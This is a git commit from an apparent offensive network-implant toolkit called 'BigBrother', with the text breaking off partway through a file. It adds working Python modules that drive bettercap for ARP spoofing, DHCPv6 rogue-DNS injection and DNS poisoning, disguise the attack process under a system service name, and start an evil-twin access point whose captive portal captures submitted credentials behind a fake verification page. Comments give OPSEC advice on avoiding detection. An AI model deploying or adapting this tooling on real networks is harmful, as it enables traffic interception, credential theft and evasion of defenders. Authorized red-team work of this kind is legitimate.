Phase 4: Active modules, templates, and operator scripts

Active modules (9 files in modules/active/):
- bettercap_mgr: Central bettercap orchestrator with REST API health
  monitoring, event stream parsing, crash recovery with corrective
  gratuitous ARPs, caplet management, and process disguise
- arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings
- dns_poison: DNS poisoning with zone template loading support
- dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection
- evil_twin: hostapd-based rogue AP with captive portal and dnsmasq,
  iptables redirect, credential capture via HTTP POST handler
- ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse
- responder_mgr: Responder subprocess manager with hash file monitoring,
  NTLMv1/v2 parsing, session log scanning, relay target coordination
- mitmproxy_mgr: Transparent proxy with addon scripts, tier checking
  (OPi Zero 3+ only), iptables setup, credential/token extraction
- ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP,
  LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS

Templates (9 files):
- 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN
  (self-contained HTML with inline CSS, realistic login forms)
- 2 DNS zones: redirect-all and selective Jinja2 template
- 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates
- 1 Responder.conf Jinja2 template with protocol toggles

Operator scripts (6 files in scripts/operator/):
- pull_data.sh: rsync structured data over WireGuard/Tailscale
- extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction
- extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert
- extract_emails.sh: SMTP email extraction with attachment detection
- crack_hashes.sh: Export creds to hashcat format, optional auto-crack
- generate_report.py: SQLite-to-Markdown/HTML engagement report generator
This commit is contained in:
n0mad1k
2026-03-18 13:48:11 -04:00
parent 955ebfc8db
commit ba5143b560
28 changed files with 4956 additions and 0 deletions
+23
View File
@@ -0,0 +1,23 @@
"""BigBrother active modules — MITM, spoofing, and interception."""
from modules.active.bettercap_mgr import BettercapManager
from modules.active.arp_spoof import ARPSpoof
from modules.active.dns_poison import DNSPoison
from modules.active.dhcp_spoof import DHCPSpoof
from modules.active.evil_twin import EvilTwin
from modules.active.ipv6_slaac import IPv6SLAAC
from modules.active.responder_mgr import ResponderManager
from modules.active.mitmproxy_mgr import MitmproxyManager
from modules.active.ntlm_relay import NTLMRelay
__all__ = [
"BettercapManager",
"ARPSpoof",
"DNSPoison",
"DHCPSpoof",
"EvilTwin",
"IPv6SLAAC",
"ResponderManager",
"MitmproxyManager",
"NTLMRelay",
]
+184
View File
@@ -0,0 +1,184 @@
#!/usr/bin/env python3
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
- EDR/NDR solutions alert within minutes.
- Prefer Responder + IPv6 SLAAC for initial access.
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
- Always run ids_tester DAI probe first to check viability.
Configures targets + gateway, then delegates to BettercapManager to
enable arp.spoof module. Full-duplex by default for complete MITM.
"""
import logging
import os
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.arp_spoof")
class ARPSpoof(BaseModule):
"""ARP spoofing via bettercap — full-duplex MITM.
Dependencies:
- bettercap_mgr must be running.
Configuration:
targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0")
gateway: Gateway IP to spoof (e.g., "10.0.0.0")
fullduplex: True for bidirectional spoofing (default True)
internal: Spoof between targets, not just target<->gateway (default False)
"""
name = "arp_spoof"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._targets: Optional[str] = None
self._gateway: Optional[str] = None
self._fullduplex = True
self._internal = False
self._spoofing = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("ARPSpoof requires bettercap_mgr reference in config")
return
# Check if ARP was disabled by crash recovery
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error(
"ARP spoofing disabled by crash recovery — "
"bettercap crashed too many times with ARP spoof active"
)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ARPSpoof module started (ready for spoof commands)")
def stop(self) -> None:
if not self._running:
return
if self._spoofing:
self.stop_spoof()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ARPSpoof module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"spoofing": self._spoofing,
"targets": self._targets,
"gateway": self._gateway,
"fullduplex": self._fullduplex,
"internal": self._internal,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "fullduplex" in config:
self._fullduplex = config["fullduplex"]
if "internal" in config:
self._internal = config["internal"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def spoof(self, targets: str, gateway: str) -> bool:
"""Enable ARP spoofing for specified targets and gateway.
Args:
targets: Comma-separated target IPs or CIDR.
gateway: Gateway IP address.
Returns:
True if spoofing was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("ARPSpoof not started")
return False
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
return False
try:
# Configure ARP spoof parameters
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
self._bettercap_mgr.run_command(
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
)
self._bettercap_mgr.run_command(
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
)
# Enable ARP spoofing
self._bettercap_mgr.run_command("arp.spoof on")
self._targets = targets
self._gateway = gateway
self._spoofing = True
# Inform bettercap_mgr for crash recovery tracking
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
self.state.set(self.name, "targets", targets)
self.state.set(self.name, "gateway", gateway)
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
return True
except Exception:
logger.exception("Failed to enable ARP spoofing")
return False
def stop_spoof(self) -> bool:
"""Disable ARP spoofing and send corrective ARPs.
Returns:
True if spoofing was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("arp.spoof off")
self._spoofing = False
self._bettercap_mgr.set_spoofing_state(False)
self.state.set(self.name, "targets", "")
self.state.set(self.name, "gateway", "")
logger.info("ARP spoofing disabled")
return True
except Exception:
logger.exception("Failed to disable ARP spoofing")
return False
+515
View File
@@ -0,0 +1,515 @@
#!/usr/bin/env python3
"""Central bettercap orchestrator — single instance, shared by all active modules.
Manages the bettercap subprocess lifecycle, REST API health monitoring,
event stream parsing, caplet management, and crash recovery with corrective
gratuitous ARPs.
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
route commands through this manager via run_command() and the BettercapAPI
client.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.bettercap_api import BettercapAPI
logger = logging.getLogger("bb.active.bettercap_mgr")
class BettercapManager(BaseModule):
"""Central bettercap instance manager.
Responsibilities:
- Start/stop bettercap with random per-session API credentials
- Health monitoring via GET /api/session every 10s
- Auto-restart on crash (max 3) with caplet re-application
- Crash recovery: gratuitous ARP correction if spoofing was active
- Parse event stream for credentials and host discoveries
- Caplet management: load/unload/switch from config/caplets/
- Process disguise coordination
"""
name = "bettercap_mgr"
module_type = "active"
priority = 50
requires_root = True
HEALTH_POLL_INTERVAL = 10 # seconds
EVENT_POLL_INTERVAL = 5 # seconds
MAX_CRASH_RESTARTS = 3
RESTART_WINDOW = 15 # seconds — restart within this window after crash
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._api: Optional[BettercapAPI] = None
self._proc: Optional[subprocess.Popen] = None
self._health_thread: Optional[threading.Thread] = None
self._event_thread: Optional[threading.Thread] = None
self._crash_count = 0
self._last_event_id = 0
self._active_caplet: Optional[str] = None
self._spoofing_active = False
self._spoof_targets: Optional[str] = None
self._spoof_gateway: Optional[str] = None
self._arp_disabled_by_crash = False
self._lock = threading.Lock()
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
self._iface = config.get("interface", "eth0")
self._api_host = "127.0.0.1"
self._api_port = config.get("bettercap_api_port", 8083)
self._caplet_dir = config.get(
"caplet_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
)
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Initialise REST API client with fresh random credentials
self._api = BettercapAPI(
host=self._api_host,
port=self._api_port,
)
if not self._start_bettercap():
logger.error("Failed to start bettercap subprocess")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._crash_count = 0
# Health monitoring thread
self._health_thread = threading.Thread(
target=self._health_loop, daemon=True, name="bb-bcap-health"
)
self._health_thread.start()
# Event stream parser thread
self._event_thread = threading.Thread(
target=self._event_loop, daemon=True, name="bb-bcap-events"
)
self._event_thread.start()
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
logger.info(
"BettercapManager started (api=%s:%d, iface=%s)",
self._api_host, self._api_port, self._iface,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
# Stop ARP spoofing cleanly before shutdown
if self._spoofing_active:
try:
self._api.run("arp.spoof off")
except Exception:
pass
self._spoofing_active = False
self._stop_bettercap()
self.state.set_module_status(self.name, "stopped")
logger.info("BettercapManager stopped")
def status(self) -> dict:
alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running and alive,
"pid": self._get_proc_pid(),
"uptime": time.time() - self._start_time if self._start_time else 0,
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
"active_caplet": self._active_caplet,
"arp_disabled_by_crash": self._arp_disabled_by_crash,
"api_port": self._api_port,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
def health_check(self) -> bool:
if not self._running:
return False
if self._api is None:
return False
try:
return self._api.is_alive()
except Exception:
return False
# ------------------------------------------------------------------
# Public API — used by other active modules
# ------------------------------------------------------------------
def run_command(self, cmd: str) -> dict:
"""Execute a bettercap command via REST API.
Args:
cmd: bettercap command string (e.g., "arp.spoof on")
Returns:
API response dict.
Raises:
ConnectionError: If bettercap is unreachable.
"""
if self._api is None:
raise ConnectionError("BettercapManager not started")
return self._api.run(cmd)
def load_caplet(self, name: str) -> dict:
"""Load a caplet from the caplet directory.
Args:
name: Caplet filename (e.g., "passive_recon.cap").
Returns:
API response dict.
"""
caplet_path = os.path.join(self._caplet_dir, name)
if not os.path.isfile(caplet_path):
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
result = self._api.load_caplet(caplet_path)
self._active_caplet = name
self.state.set(self.name, "active_caplet", name)
logger.info("Loaded caplet: %s", name)
return result
def get_hosts(self) -> list:
"""Return discovered hosts from bettercap session."""
if self._api is None:
return []
try:
return self._api.get_hosts()
except Exception:
return []
def is_spoofing(self) -> bool:
"""Return True if ARP spoofing is currently active."""
return self._spoofing_active
def set_spoofing_state(self, active: bool, targets: str = None,
gateway: str = None) -> None:
"""Track ARP spoofing state for crash recovery."""
with self._lock:
self._spoofing_active = active
self._spoof_targets = targets
self._spoof_gateway = gateway
def get_api(self) -> Optional[BettercapAPI]:
"""Return the BettercapAPI client instance."""
return self._api
# ------------------------------------------------------------------
# Subprocess management
# ------------------------------------------------------------------
def _start_bettercap(self) -> bool:
"""Launch bettercap subprocess with REST API."""
cmd = [
self._binary,
"-iface", self._iface,
"-no-history",
] + self._api.api_flags
env = dict(os.environ)
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env,
preexec_fn=self._make_preexec(self._disguise_name),
)
except FileNotFoundError:
logger.error("bettercap binary not found: %s", self._binary)
return False
except Exception as e:
logger.error("Failed to start bettercap: %s", e)
return False
# Wait for API to become available (up to 15s)
deadline = time.time() + 15
while time.time() < deadline:
if self._api.is_alive():
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
return True
time.sleep(0.5)
logger.error("bettercap API did not become ready within 15s")
self._stop_bettercap()
return False
def _stop_bettercap(self) -> None:
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
proc = self._proc
if proc is None or proc.poll() is not None:
self._proc = None
return
try:
proc.terminate()
except OSError:
pass
try:
proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
try:
proc.kill()
proc.wait(timeout=2.0)
except Exception:
pass
self._proc = None
def _get_proc_pid(self) -> Optional[int]:
if self._proc and self._proc.poll() is None:
return self._proc.pid
return None
# ------------------------------------------------------------------
# Crash recovery
# ------------------------------------------------------------------
def _handle_crash(self) -> None:
"""Handle bettercap crash: corrective ARPs, then restart.
If ARP spoofing was active, immediately send corrective gratuitous
ARPs to restore network state. Disable ARP spoofing after 3 crashes
to prevent a crash loop from disrupting the network.
"""
self._crash_count += 1
logger.warning(
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
)
self.bus.emit(
"TOOL_CRASHED",
{
"tool": "bettercap",
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
},
source_module=self.name,
)
# Send corrective gratuitous ARPs if spoofing was active
if self._spoofing_active and self._spoof_gateway:
self._send_corrective_arps()
# Disable ARP spoof after max crashes to break crash loops
if self._crash_count >= self.MAX_CRASH_RESTARTS:
if self._spoofing_active:
logger.error(
"ARP spoof disabled after %d crashes — network stability risk",
self._crash_count,
)
self._arp_disabled_by_crash = True
self._spoofing_active = False
self.state.set(self.name, "arp_disabled_by_crash", "true")
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
self._running = False
self.state.set_module_status(self.name, "crashed")
return
# Restart bettercap within RESTART_WINDOW
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
time.sleep(backoff)
if self._start_bettercap():
logger.info("bettercap restarted successfully")
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
# Re-apply active caplet
if self._active_caplet:
try:
self.load_caplet(self._active_caplet)
except Exception:
logger.exception("Failed to re-apply caplet after restart")
# Re-enable ARP spoofing if it was active and not disabled
if self._spoofing_active and not self._arp_disabled_by_crash:
try:
if self._spoof_targets:
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
self._api.run("arp.spoof on")
logger.info("ARP spoofing re-enabled after restart")
except Exception:
logger.exception("Failed to re-enable ARP spoof after restart")
else:
logger.error("bettercap restart failed")
self._running = False
self.state.set_module_status(self.name, "crashed")
def _send_corrective_arps(self) -> None:
"""Send corrective gratuitous ARPs to restore network after crash.
Uses scapy to send a few gratuitous ARP packets with the real
gateway MAC to undo any poisoned ARP caches.
"""
try:
from scapy.all import ARP, Ether, sendp, getmacbyip
except ImportError:
logger.warning("scapy not available — cannot send corrective ARPs")
return
gateway = self._spoof_gateway
if not gateway:
return
try:
gw_mac = getmacbyip(gateway)
if not gw_mac:
logger.warning("Could not resolve gateway MAC for corrective ARPs")
return
# Gratuitous ARP: gateway telling everyone its real MAC
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, # is-at
psrc=gateway,
hwsrc=gw_mac,
pdst=gateway,
hwdst="ff:ff:ff:ff:ff:ff",
)
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
except Exception:
logger.exception("Failed to send corrective ARPs")
# ------------------------------------------------------------------
# Health monitoring loop
# ------------------------------------------------------------------
def _health_loop(self) -> None:
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
while self._running:
time.sleep(self.HEALTH_POLL_INTERVAL)
if not self._running:
break
# Check if process is still alive
if self._proc and self._proc.poll() is not None:
self._handle_crash()
continue
# Check API responsiveness
try:
if not self._api.is_alive():
logger.warning("bettercap API unresponsive — checking process")
if self._proc and self._proc.poll() is not None:
self._handle_crash()
except Exception:
logger.exception("Health check error")
# ------------------------------------------------------------------
# Event stream parser
# ------------------------------------------------------------------
def _event_loop(self) -> None:
"""Poll bettercap event stream for credentials and host discoveries."""
while self._running:
time.sleep(self.EVENT_POLL_INTERVAL)
if not self._running:
break
try:
events = self._api.get_events(since=self._last_event_id)
except Exception:
continue
for event in events:
self._last_event_id += 1
self._process_event(event)
def _process_event(self, event: dict) -> None:
"""Parse a single bettercap event and emit bus events as needed."""
tag = event.get("tag", "")
data = event.get("data", {})
# Credential captures from HTTP proxy, net.sniff, etc.
if tag in ("net.sniff.credentials", "http.proxy.credentials",
"https.proxy.credentials"):
self._handle_credential_event(data)
# Host discovery events
elif tag in ("endpoint.new", "endpoint.detected"):
self._handle_host_event(data)
# Module status events
elif tag.startswith("mod."):
logger.debug("bettercap module event: %s", tag)
def _handle_credential_event(self, data: dict) -> None:
"""Emit CREDENTIAL_FOUND for captured credentials."""
payload = {
"source_module": self.name,
"source_ip": data.get("from", ""),
"target_ip": data.get("to", ""),
"target_service": data.get("proto", "unknown"),
"username": data.get("username", ""),
"credential_type": data.get("type", "cleartext"),
"credential_value": data.get("password", data.get("hash", "")),
"raw_data": data,
}
self.bus.emit("CREDENTIAL_FOUND", payload, source_module=self.name)
logger.info(
"Credential captured: %s@%s (%s)",
payload["username"], payload["target_ip"], payload["target_service"],
)
def _handle_host_event(self, data: dict) -> None:
"""Emit HOST_DISCOVERED for new network hosts."""
payload = {
"source_module": self.name,
"ip": data.get("ipv4", data.get("addr", "")),
"mac": data.get("mac", ""),
"hostname": data.get("hostname", ""),
"vendor": data.get("vendor", ""),
"os": data.get("os", ""),
"raw_data": data,
}
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
@staticmethod
def _make_preexec(disguise_name: str):
"""Return a preexec_fn that renames the process via prctl."""
def _preexec():
try:
import ctypes
libc = ctypes.CDLL("libc.so.6", use_errno=True)
PR_SET_NAME = 15
name_bytes = disguise_name[:15].encode("utf-8")
libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
except Exception:
pass
return _preexec
+151
View File
@@ -0,0 +1,151 @@
#!/usr/bin/env python3
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
Uses bettercap's dhcp6.spoof module to win DHCP races and inject
a rogue DNS server (the implant) into client configurations.
This enables DNS-based MITM without ARP spoofing.
"""
import logging
import os
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.dhcp_spoof")
class DHCPSpoof(BaseModule):
"""DHCP spoofing via bettercap dhcp6.spoof.
Sets up a rogue DHCPv6 server that responds to DHCP requests,
injecting the implant as the DNS server. Combined with DNS
poisoning, this provides full MITM without ARP cache manipulation.
Dependencies:
- bettercap_mgr must be running.
Configuration:
dns_server: DNS server IP to inject (default: implant IP)
gateway: Gateway IP to advertise
"""
name = "dhcp_spoof"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._spoofing = False
self._dns_server: Optional[str] = None
self._gateway: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("DHCPSpoof requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("DHCPSpoof module started (ready for spoof commands)")
def stop(self) -> None:
if not self._running:
return
if self._spoofing:
self.stop_spoof()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("DHCPSpoof module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"spoofing": self._spoofing,
"dns_server": self._dns_server,
"gateway": self._gateway,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def spoof(self, dns_server: str, gateway: str) -> bool:
"""Enable DHCP spoofing with rogue DNS server.
Args:
dns_server: IP to inject as DNS server (typically the implant IP).
gateway: Gateway IP to advertise in DHCP responses.
Returns:
True if DHCP spoofing was enabled.
"""
if not self._running or not self._bettercap_mgr:
logger.error("DHCPSpoof not started")
return False
try:
# Configure dhcp6.spoof parameters
self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
self._bettercap_mgr.run_command("dhcp6.spoof on")
self._spoofing = True
self._dns_server = dns_server
self._gateway = gateway
self.state.set(self.name, "dns_server", dns_server)
self.state.set(self.name, "gateway", gateway)
logger.info(
"DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
)
return True
except Exception:
logger.exception("Failed to enable DHCP spoofing")
return False
def stop_spoof(self) -> bool:
"""Disable DHCP spoofing.
Returns:
True if DHCP spoofing was stopped.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("dhcp6.spoof off")
self._spoofing = False
self._dns_server = None
self._gateway = None
self.state.set(self.name, "dns_server", "")
self.state.set(self.name, "gateway", "")
logger.info("DHCP spoofing disabled")
return True
except Exception:
logger.exception("Failed to disable DHCP spoofing")
return False
+201
View File
@@ -0,0 +1,201 @@
#!/usr/bin/env python3
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
Template-driven zone files are converted to bettercap dns.spoof.domains
format. Supports selective domain redirection and wildcard matching.
Zone templates live in templates/dns_zones/.
"""
import logging
import os
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.dns_poison")
class DNSPoison(BaseModule):
"""DNS poisoning via bettercap dns.spoof module.
Dependencies:
- bettercap_mgr must be running.
Configuration:
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
target_ip: IP to redirect poisoned domains to (default: implant IP)
zone_file: Path to zone template for selective redirection
"""
name = "dns_poison"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._poisoning = False
self._domains: Optional[str] = None
self._target_ip: Optional[str] = None
self._zone_dir = config.get(
"zone_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("DNSPoison requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("DNSPoison module started (ready for poison commands)")
def stop(self) -> None:
if not self._running:
return
if self._poisoning:
self.stop_poison()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("DNSPoison module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"poisoning": self._poisoning,
"domains": self._domains,
"target_ip": self._target_ip,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def poison(self, domains: str, target_ip: str) -> bool:
"""Enable DNS poisoning for specified domains.
Args:
domains: Comma-separated domains or wildcards
(e.g., "*.corp.local,login.example.com").
target_ip: IP address to redirect poisoned domains to.
Returns:
True if DNS poisoning was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("DNSPoison not started")
return False
try:
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
self._bettercap_mgr.run_command("dns.spoof on")
self._poisoning = True
self._domains = domains
self._target_ip = target_ip
self.state.set(self.name, "domains", domains)
self.state.set(self.name, "target_ip", target_ip)
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
return True
except Exception:
logger.exception("Failed to enable DNS poisoning")
return False
def load_zone(self, zone_file: str) -> bool:
"""Load a zone template and apply DNS poisoning rules.
Zone file format (one entry per line):
domain.com 10.0.0.0
*.corp.local 10.0.0.0
# comments ignored
Args:
zone_file: Filename within the zone_dir (e.g., "selective.zone").
Returns:
True if zone was loaded and applied.
"""
zone_path = os.path.join(self._zone_dir, zone_file)
if not os.path.isfile(zone_path):
logger.error("Zone file not found: %s", zone_path)
return False
try:
domains = []
target_ip = None
with open(zone_path, "r") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split()
if len(parts) >= 2:
domains.append(parts[0])
# Use the last IP seen as target
target_ip = parts[1]
elif len(parts) == 1:
domains.append(parts[0])
if not domains:
logger.warning("Zone file %s contains no entries", zone_file)
return False
if not target_ip:
target_ip = self.config.get("implant_ip", "127.0.0.1")
return self.poison(",".join(domains), target_ip)
except Exception:
logger.exception("Failed to load zone file: %s", zone_file)
return False
def stop_poison(self) -> bool:
"""Disable DNS poisoning.
Returns:
True if DNS poisoning was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("dns.spoof off")
self._poisoning = False
self._domains = None
self._target_ip = None
self.state.set(self.name, "domains", "")
self.state.set(self.name, "target_ip", "")
logger.info("DNS poisoning disabled")
return True
except Exception:
logger.exception("Failed to disable DNS poisoning")
return False
+553
View File
@@ -0,0 +1,553 @@
#!/usr/bin/env python3
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
Creates a wireless access point matching a target SSID, combined with
a captive portal served via a lightweight HTTP server. dnsmasq provides
DHCP and DNS for connected clients, redirecting all DNS to the portal.
OPSEC: Run wireless_intel module for 2-hour observation before activation
to detect WIDS/WIPS and understand target AP parameters.
Resources: ~30MB RAM, ~5% CPU
"""
import http.server
import logging
import os
import signal
import socketserver
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.evil_twin")
# Default dnsmasq config for captive portal
DNSMASQ_CONF_TEMPLATE = """interface={iface}
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
dhcp-option=3,{gateway}
dhcp-option=6,{gateway}
address=/#/{gateway}
no-resolv
log-queries
log-facility=/tmp/bb-dnsmasq.log
"""
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
"""HTTP handler for the captive portal.
Serves the portal HTML for GET requests and captures POST data
(credentials) from login forms.
"""
portal_html = ""
credential_callback = None
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(self.portal_html.encode("utf-8"))
def do_POST(self):
content_length = int(self.headers.get("Content-Length", 0))
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
if self.credential_callback:
self.credential_callback(self.client_address[0], post_data)
# Redirect to a "success" page after capture
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
success_html = (
"<html><body><h2>Connecting...</h2>"
"<p>Please wait while we verify your credentials.</p>"
"<script>setTimeout(function(){window.location='/'},5000);</script>"
"</body></html>"
)
self.wfile.write(success_html.encode("utf-8"))
def log_message(self, format, *args):
"""Suppress default HTTP logging to avoid console noise."""
pass
class EvilTwin(BaseModule):
"""Evil Twin AP with captive portal credential harvesting.
Creates a rogue AP matching a target SSID using hostapd, serves a
captive portal, and captures credentials from connecting clients.
Dependencies:
- hostapd (system package)
- dnsmasq (system package)
- Wireless interface capable of AP mode
Configuration:
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
portal_dir: Path to captive portal HTML templates
"""
name = "evil_twin"
module_type = "active"
priority = 200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._hostapd_proc: Optional[subprocess.Popen] = None
self._dnsmasq_proc: Optional[subprocess.Popen] = None
self._portal_thread: Optional[threading.Thread] = None
self._portal_server: Optional[socketserver.TCPServer] = None
self._wifi_iface = config.get("wifi_iface", "wlan0")
self._ap_active = False
self._ssid: Optional[str] = None
self._channel = 6
self._portal_template: Optional[str] = None
self._clients: list = []
self._clients_lock = threading.Lock()
self._captured_creds: list = []
self._creds_lock = threading.Lock()
self._portal_port = config.get("portal_port", 80)
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
self._template_dir = config.get(
"portal_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
)
self._hostapd_template_dir = config.get(
"hostapd_template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
)
self._tmp_dir = "/tmp/bb-evil-twin"
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("EvilTwin module started (ready for AP creation)")
def stop(self) -> None:
if not self._running:
return
if self._ap_active:
self.stop_ap()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("EvilTwin module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
